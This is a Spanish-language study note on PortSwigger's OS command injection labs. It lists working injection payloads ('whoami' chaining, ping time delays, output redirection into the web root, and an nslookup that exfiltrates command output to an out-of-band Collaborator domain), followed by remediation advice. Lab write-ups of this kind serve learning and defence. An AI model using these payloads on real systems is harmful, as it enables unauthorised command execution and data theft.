PortSwigger · OS Command Injection
Qué es
La aplicación pasa un dato mío a un comando del sistema (por ejemplo, para consultar el stock de un producto). Si no lo limpia, puedo encadenar mis propios comandos con separadores como ;, &&, ||, | o `cmd`.
Labs completados
| # | Lab | Tipo |
|---|---|---|
| 1 | OS command injection, simple case | In-band |
| 2 | Blind OS command injection with time delays | Blind (time-based) |
| 3 | Blind OS command injection with output redirection | Blind (output redirection) |
| 4 | Blind OS command injection with out-of-band interaction | Blind (OAST) |
| 5 | Blind OS command injection with out-of-band data exfiltration | Blind (OAST) |
Lo que me llevo
- In-band: en la petición de check stock añado
;whoamial parámetro y la salida aparece en la respuesta. - Time-based: cuando no veo la salida, meto
||ping -c 10 127.0.0.1||en un campo (el email del formulario de feedback) y compruebo que la respuesta tarda ~10 s. - Output redirection: redirijo la salida a una carpeta que la web sirve (
||whoami>/var/www/images/out.txt||) y luego la pido por la ruta de imágenes (?filename=out.txt). - Out-of-band: hago que el servidor resuelva un dominio mío de Burp Collaborator (
||nslookup x.COLLABORATOR||); si llega la consulta DNS, hay ejecución. Para exfiltrar, meto la salida en el subdominio:||nslookup `whoami`.COLLABORATOR||.
Cómo se arregla
- No llamar a comandos del sistema con datos del usuario; usar las funciones del lenguaje (APIs) en su lugar.
- Si no queda otra, lista blanca estricta de valores permitidos (por ejemplo, solo números).
